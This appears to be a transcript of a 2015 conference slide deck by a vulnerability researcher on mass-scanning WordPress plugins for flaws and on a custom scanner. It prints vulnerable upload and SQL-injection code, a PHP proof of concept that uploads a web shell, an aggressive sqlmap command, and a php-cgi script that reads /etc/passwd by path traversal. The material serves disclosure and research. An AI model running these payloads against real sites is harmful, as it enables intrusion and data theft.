hacking wordpress plugins
TRANSCRIPT
Hacking WordPress PluginsLarry W. Cashdollar
8/1/2015v1.2
What is WordPress
• Content Management System (CMS)• 23% of all websites (3/23/15)• Plugins - add functionality• Plugins may be authored by anyone
Why hack WordPress plugins?
• #1 CMS by number and percentage• Poor security model• Lack of QA on 3rd party plugins• More fun than Ruby Gems
Methodology
• Large code footprint with plugins and themes• Prefer no authentication required to exploit*• Look for PHP code that might be exploitable• Search specific traits or patterns:
– upload.php – download.php– proxy.php
Requirements
• Processes user input• Has reachable code, not just defining a class• Doesn’t check if accessed directly• Doesn’t require authentication• Doesn’t require WP API hooks*
Vulnerabilities
• LFI• RFI• RCE• Open Proxies• SQL Injection• XSS
Plugin Code Criteria
• Doesn’t have POST/GET/FILE/REQUEST PUNT• If (!defined(ABSPATH)) die; PUNT• If (!is_admin) die; PUNT• Function class() {}; PUNT• May have Injectable SELECT, INSERT, DELETE,
UPDATE, etc.
A Quick Look
• Download a few random plugins• Examine files named upload.php or
download.php• Found RFI in videowhisper-video-presentation• The code:
1 <?php 2 3 if ($_GET["room"]) $room=$_GET["room"]; 4 if ($_POST["room"]) $room=$_POST["room"]; 5 $filename=$_FILES['vw_file']['name']; 6 7 include_once("incsan.php"); 8 sanV($room); 9 if (!$room) exit; 10 sanV($filename); 11 if (!$filename) exit; 12 13 if (strstr($filename,'.php')) exit; 14 15 //do not allow uploads to other folders 16 if ( strstr($room,"/") || strstr($room,"..") ) exit; 17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 18 19 $destination="uploads/".$room."/"; 20 if ($_GET["slides"]) $destination .= "slides/"; 21 22 $ext=strtolower(substr($filename,-4)); 23 $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps "); 24 25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 26 ?>loadstatus=1
Exploiting it
• Upload .phtml .shtml • Execute as www-data user• Previously patched (I circumvented)*• Also present in videowhisper-video-
conference-integration
* Annoying but still fun
Initial Progress
• Downloaded 10 random plugins• Found RFI in two of them!• Plugins had ~ 5k downloads
• Must be more vulnerabilities out there
Automate?
• Download lots of plugins• grep code for specific patterns?• Same idea as Ruby Gem research I did• Easy to test with PoC• More fun!
• Maybe write code to flag high risk code?
Code Ferret v1.0 Feature Doc
• Supply list of .php files to examine• Check for user input• Ignore if author checks for ABSPATH etc..• Look for SQL functions• Flag if use of WP API• Flag if include files
Code Ferret v1.0 Design Doc
• Look for specific functions and strings• Anything of interest added to link list• Link list stores line number and reason for flag• Dump output & statistics • ANSI COLOR!
Semi Automatic
• git pull https://plugins.svn.wordpress.org • Scraped Plugins off wordpress.org• Downloaded 36,000 plugins• About 20 GB of data• upload.php or download.php• Use Ferret v1.0 to quickly examine lots of files• Profit! Err get some CVEs
Ferret output
Ferret First Run
• wp-powerplaygallery v3.3 • Flagged for user input with no access controls• Accesses WordPress API calls• Loads WordPress functions via require_once()• Code examination turns up RFI and Blind SQLi!
wp-powerplaygallery RFI Code143: if (!empty($_FILES)) {144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."} , "id" : "id"}');146: }147: 148: // Read binary input stream and append it to temp file149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) {150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');151: }. 158: while ($buff = fread($in, 4096)) {159: fwrite($out, $buff);160: }
wp-powerplaygallery SQLI code131: $query = "INSERT INTO ".$wpdb->prefix."pp_images (`category_id`, `title`, `description`, `price`, `thumb`, `image`, `status`, `order`, `creation_date` ) VALUES (".$_REQUEST['albumid'].",'".$imgname[0]."','".$imgname[0]."','','".$resize."','".$_REQUEST['name']."',1,'','NULL')";
133 : $wpdb->query($query);
RFI Exploit Requirements
• POST request• Variable albumid must point at existing album
in database• File to upload must exist locally• Use c99 shell as our payload• file variable contains payload with local full
path• name variable contains our filename
PoC Exploit• <?php• /*Remote shell upload exploit for wp-powerplaygallery v3.3 */• /*Larry W. Cashdollar @_larry0• 6/27/2015• albumid needs to be a numeric value matching an existing album number, 1 is probably a good start• but you can enumerate these by using curl, and looking for redirect 301 responses:• e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big• ->301 exists else 404 doesn't.• shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php• */• • • $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php';• $file_name_with_full_path = '/var/www/shell.php';• • echo "POST to $target_url $file_name_with_full_path";• $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path);• • $ch = curl_init();• curl_setopt($ch, CURLOPT_URL,$target_url);• curl_setopt($ch, CURLOPT_POST,1);• curl_setopt($ch, CURLOPT_POSTFIELDS, $post);• curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);• $result=curl_exec ($ch);• curl_close ($ch);• echo "<hr>";• echo $result;• echo "<hr>";• ?>
Blind SQLi Exploit
• Sqlmap
$ sqlmap -u http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php --data "albumid=1” —dbms mysql –level 5 –risk 3
Lazy Exploits
• Started using php-cgi to test exploits• The script Poc.sh#!/bin/shexport GATEWAY_INTERFACE=CGI/1.1export PATH_TRANSLATED=UserSettings.phpexport QUERY_STRING=network=../../../../../../../../etc/passwdexport REDIRECT_STATUS=CGIexport REQUEST_METHOD=GETphp-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php
$ ./Poc.sh
Pitfalls of Exploitation
• Exploitable code is a class and isn’t reachable*• Code uses WordPress functions or functions
from other segments of code with no includes• Code is incomplete or just broken• Someone discovered it last year
Fatal Errors• [Thu Aug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function
trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php on line 27
• [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in /etc/wordpress/config-www.vapidlabs.com.php on line 90
• [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20
• [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20
• [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20
Vulnerable and Broken• <?php• $uploaddir = 'uploads/'; This needs to be full path• $file = $uploaddir . basename($_FILES['uploadfile']['name']);• if (move_uploaded_file($_FILES['uploadfile']['tmp_name'],
$file)) {• echo "success";• } else {• echo "error";• }• ?>
oddities
• Return local IP address of server• Prints the FULL path of the webserver server• Plugin that downloads itself ?!
Statistics• 20 CVEs• 26* Vulnerabilities found• 6 were previously discovered and not included*• All in all 32 Vulnerabilities discovered• Dozens of known exploitable vulnerabilities remain
unpatched
* I now google ‘<pluginname> vulnerability’ before bothering to document
Improvements
• Parse php scripts checking for reachable code• Use RIPS v1.0 (thanks Chad!)• Circle back and examine vulnerabilities that
require login to WP for exploitation
Who Am I• 15 years at Akamai Technologies• Hobbyist Vulnerability Researcher• 75+ CVEs• Formerly Unix Systems Administrator 17 years • Penetration Tester Back in Late 90s• Enjoy Writing and Breaking Code